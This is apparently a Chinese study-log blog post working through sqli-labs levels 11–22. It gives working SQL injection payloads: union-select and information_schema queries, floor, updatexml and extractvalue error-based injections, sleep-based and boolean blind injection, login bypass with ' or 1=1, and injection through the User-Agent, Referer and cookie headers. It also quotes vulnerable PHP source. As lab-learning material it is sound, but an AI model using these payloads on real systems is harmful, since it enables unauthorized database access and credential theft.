sqlilab学习打卡|手工注入|Less11-Less22

本文详细探讨了SQL注入的不同方法,包括利用报错信息进行注入和联合查询技巧。作者通过实验展示了如何利用单引号和双引号触发报错,并利用这些报错获取数据库信息。此外,还介绍了如何通过布尔盲注和时间盲注来探测和利用漏洞。文章以BuU平台上的多个关卡为例,阐述了各种SQL注入的实战应用,揭示了数据库信息获取的多种途径。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言:这篇全是post方法,而且有usrname 和 password两个输入框,因此username 也是能注入的,只是本篇我用的都是在password处注入

less-11

有报错提示

image-20220330085733094

这里username加单引号和password加单引号,虽然都引发了报错,但是报错信息不太一样

在navicat中测试了下,

image-20220330090016343

image-20220330090024910

两个图的报错信息和题目测试的报错信息一致,说明username和password都是单引号闭合

万能密码直接通过了

image-20220330090442388

通过后可以看到有查询内容回显

image-20220330090515534

那么这道题既可以使用报错注入,也可以使用联合查询

判断下列名,根据报错信息可以知道是两列

image-20220330091727782

联合查询

image-20220330091816809

因为这是buu的环境,我看到了flag表就想读取到flag,然后忽然学到了一些遗忘的知识

image-20220330094204876

也就是说

image-20220330094735824

uname=1&passwd=2' union select 1,group_concat(table_name) from information_schema.tables -- =

就可以获得全部table_name,没必要像我开始用 or 1=1那么麻烦

因为flag不在当前库,还得获取下所有库名,查列名老套路就不写了

image-20220330094431230

flag表应该就是在ctrtraining库中

image-20220330095130254

报错注入

image-20220330095738581

不过报错注入这里存在一个问题,报错信息显示的内容不完整

网上也找到了解决办法

报错注入显示信息不全的解决办法

对于多条数据,可以使用limit一条一条的查,对于单条数据显示不完全可以使用字符串截取函数,将数据剪成几节读取

image-20220330102009069### less-12

用常用符号测试了下,有报错信息,双引号加括号闭合

image-20220330103154703

和上一题类似,不多说了

image-20220330103330375

floor报错注入原理

less-13

post传参,引发报错,可以看到单引号加括号闭合

image-20220330181812506

floor函数报错出了点问题

uname=1&passwd=5') union select concat(0x7e,(select group_concat(table_name) from information_schema.`TABLES` where table_schema=database()),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES`   GROUP BY x -- =&submit=Submit
# 这串数据不报错???我不理解

怎么不报错直接successfullogin了

image-20220330185938679

找了别人的文章payload 测试了下发现好像是因为group_concat函数导致的,虽然还是不明白为什么

我又在navicat测试了几个语句,发现如下情况,

# 先看下我这次测试用的表
|  usr|     pwd|
|-----|--------|
|    1|       2|
|  lll|     123|
| test|     ttt|
|admin|password|

# 测试语句一 在concat中加了group_concat
SELECT * FROM `user` where usr='2' and pwd='2' union select concat(0x7e,(select group_concat(table_name) from information_schema.`TABLES` where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES`   GROUP BY x -- ='
# 测试结果一 返回查询成功但是数据莫名的数据表 不能成功
            |usr|pwd|
            |---|---|
            |null|367|
            
# 测试语句二 去掉concat中的group_concat
SELECT * FROM `user` where usr='2' and pwd='2' union select concat(0x7e,(select table_name from information_schema.`TABLES` where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES`   GROUP BY x -- ='
# 测试结果二 能够成功报错泄露信息 在buu平台也能成功

# 测试语句三 没有去掉group_concat,但是去掉了concat中查询语句使用的limit
SELECT * FROM `user` where usr='2' and pwd='2' union select concat(0x7e,(select group_concat(table_name) from information_schema.`TABLES` where table_schema=database() ),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES`   GROUP BY x -- ='
# 测试结果三 能够成功报错泄露信息 但是在buu平台传递数据后还是会查询成功

# 仿造结果二构造几个其他查询语句测试下
union select concat(0x7e,(select schema_name from information_schema.`schemata` limit 1,1),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES`   GROUP BY x -- =
# 成功

union select concat(0x7e,(select column_name from information_schema.`columns` where table_name='user' limit 1,1),0x7e,floor(rand(0)*2)) x,count(*) from information_schema.`TABLES`   GROUP BY x -- =
# 成功

我看到一篇文章也提到了这个问题,除此之外,没有再找到任何信息

用其他报错语句暂时没有出现这个问题,这里也只能先放着,等以后查查英文看看有没有类似的情况

个人猜测 group by 和 group_concat一起用存在问题?是否与mysql版本有关系?

less-14

双引号闭合有报错信息,用万能密码进入发现没有内容回显

之前的套路,略

less-15 boolean-based

时间盲注

测试了下,又是一个只能时间盲注的关卡,回顾一下我上一篇在less-9写点内容

image-20220328195819986

现在重新再理一遍,发现写的有点啰嗦了,而且除了and外,也可以用or

其实在注释掉后面的内容后,只存在三种情况,

一、闭合成功,执行sleep

二、闭合不成功,注入语句被当作查询内容,因为查不到对应的内容,直接返回一个空表,因此登录无法成功,且执行速度很快

三、数字型注入测试下

测试了一会发现,出现了问题(捂脸),不管怎么测,都没有sleep

然后看了别人的文章发现前面两个usr=‘1’ and pwd=‘2’ 这里如果都不是表中的数据,就代表都为0,0 and上一个任何值都为0,这里我也在navicat测试了下,

# or的时候执行了sleep
select * from user where 0 and 0 or sleep(1)
# and的时候0.3秒就结束了,联想到有的编程语言确实是先判断and一边(或者左边记不清了)是否为false,不是才会进行and操作
select * from user where 0 and 0 and sleep(1)

改成or后,立刻就执行了sleep()

image-20220330205256983

后续操作就没什么障碍了

布尔盲注

因为刚才看了下别人的文章,才发现我忽略了这道题也可以进行布尔盲注

那就再来试下布尔盲注,前面有一点没提到的是,我刚开始测着and不能用,就用了万能密码,想看看到底是我的hackbar出了问题还是我的输入内容有问题

万能密码1’ or 1=1 – = 一试就发现了单引号闭合,然后就successful了

image-20220330210218792

从这一点可以着手进行布尔盲注

image-20220330210430985

image-20220330210449517

剩下的就还是老套路,不继续了

less-16 timebased-blind

测了下和15一样没有回显,而且这次单引号,双引号都不行了

就只能用上一章提到的常用闭合方式里的方法一个个试了

幸好很快就试出来了是")闭合,测试方式可以用万能密码或者时间盲注

这里我采用的时间盲注,也拿万能密码再验证了下

image-20220330211534160

剩下的就略过了,和上一关区别不大

less-17 Update Query

我就加了个单引号,就被骂了,我giao

image-20220330211734182

试了几次后发现有点傻x了,看下题目和界面提示,一个写着update语句,一个写着pwd reset

提示给的很明显了,这里是对update语句的注入

回顾下update语句

UPDATE table_name SET field1=new-value1, field2=new-value2
[WHERE Clause]

——来源菜鸟教程

有点无从下手,理下思路

思路一:想了下sql注入的目的是为了获取数据,获取数据的方法,现在已知的有以下几种

  1. 查询信息回显
  2. 报错信息回显
  3. 盲注一个字母一个字母的获取

所以现在得想办法知道这道题属于哪一种,暂时好像只能从盲注入手,因为没有测试处任何的回显

思路二:选择注入点,开头提示给的很明显是update语句

假设传入数据为usr=1,pwd=2

那么这个update语句猜测构造成这样

update table_name set pwd='2' where usr='1'

那么可以先测试下username是否能够完成注入,如图我在navicat写的语句

image-20220330222435347

大概都测试了下,发现之前的常用闭合方式都不行了。。。

既然usr测不出东西,就尝试测pwd,结果怎么测也都不行

最后只能看源码了

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
	
	
	
		if (mysql_error())
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;		
			echo "<br>";
			echo "</font>";
		}
	
		echo '<img src="../images/flag1.jpg"   />';	
		//echo 'Your Password:' .$row['password'];
  		echo "</font>";
	


  	}
	else  
	{
		echo '<font size="4.5" color="#FFFF00">';
		//echo "Bug off you Silly Dumb hacker";
		echo "</br>";
		echo '<img src="../images/slap1.jpg"   />';
	
		echo "</font>";  
	}
}

?>

着重看下这两条语句

  1. $uname=check_input($_POST['uname']);

  2. // connectivity 
    @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
    
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    

uname被传进check_input函数进行了过滤,之后将这个被过滤过的uname进行了select查询,只有查到结果后,才能进行后续的update操作。

而后续的update就轻松很多了,既有错误回显又没有过滤

这样整个注入的关键点就是uname能够被查询到,也就是需要是原本表中存在的数据,或者能够绕过check_input函数,我自己是没有想到绕过的方法的,查了一些文章也没有看到,这里就只能选择用已有数据。用已有数据也不用查表,一般数据都有admin。如图

image-20220331100005680

小总结

拿到一道题需要先分析下他可能的开发逻辑。拿这道题来讲,他的功能是修改密码,一般情况下,重置密码的逻辑就是检验用户名是否已存在,存在才会修改密码。

按照这个逻辑再来看这道题,解题思路就容易理解多了。

less-18 http头注入-user_agent

测试了IP,找了X-FORWARDED-FOR等几个http请求包用的修改IP,都没有效果,测试也没有结果

直接查看源码,IP是从Remote_Addr获取的,remoteaddr不是客户端提供的,因此,只能从别的地方入手

仔细阅读源代码,服务端一共会获取四个变量,其中处remoteaddr的三个都是用户可控

image-20220331110510857

因此,这三个变量可能存在漏洞点,而uname和passwd都被check_input函数过滤了一遍,因此重点关注user_agent

image-20220331110827254

再看后面的代码,uagent没经过任何输入控制就拼接进了insert语句,现在可以确定user_agent就是注入点

但是这个注入的前提是uname和passwd能够输入正确

因此为了利用这个漏洞,我又返回17关,给admin更新了密码 admin

再次到18关输入用户名密码,可以看到返回了user agent
image-20220331111435785

抓包在user agent后面加个单引号,返回了报错信息
image-20220331111556173

image-20220331111556173

再次发生灵异事件

# 我在navicat的测试
# 能够正常返回报错信息
insert into user_copy1 (usr,pwd) values (''and updatexml(1,concat(0x7e,(database())),0x7e),1)-- 
# 不管怎么拼接都不成功
insert into user_copy1 (usr,pwd) values (''and extractvalue(null,concat(0x7e,(database()),0x7e)) # 
# 报错信息
# > 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
# 同理 换了个报错函数也是同样的报错
insert into user_copy1 (usr,pwd) values (''and exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x))-- =                                         
image-20220331113747049

less-19 http头注入-referer

和上一关类似,只是注入点变成了referer

and updatexml(1,concat(0x7e,(database())),0x7e),1)–

less-20

我真的不理解,明明setcookie了,打印cookie也能成功,但是浏览器的response没有set-cookie,我自己写个setcookie函数都能接收到,我不明白为什么就这一关接收不到。buu和我本地环境都接收不到cookie,我真是一整个大无语。。。。。

本机

image-20220331191613789

buu的

image-20220331191757179

我测试的结果

image-20220331191832008

多试了几个版本的php,发现sqlilab5.2.17这关就没有cookie

测试的5点几的版本都有cookie,buu5.6.4我也不知道他为什么没有cookie,反正我本机是5.5.9是有的

既然能做,那就继续回归题目,我因为一直没有cookie根本没看到如图的大彩页

image-20220331192706368

所以直接进行了代码审计,

梳理了整个逻辑如下图所示,你看不懂没关系,自己看代码梳理一遍就行了

image-20220331193052045

梳理逻辑后就能看出来,注入点在$cookee也就是cookie中的uname

image-20220331193009221

打开burp抓包,有报错回显,所以可以报错注入

image-20220331193815859

也可以使用布尔盲注或者时间盲注,就不多说啦

less-21

用上一关的测试方法,发现报错信息显示单引号加括号闭合

image-20220331194532359

这关只是将cookie进行了base64加密,将注入数据进行base64加密填入即可注入成功

image-20220331194808213

less-22

测试了几次发现是双引号闭合,admin" – =,和前两关没什么不同

image-20220331195436387

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值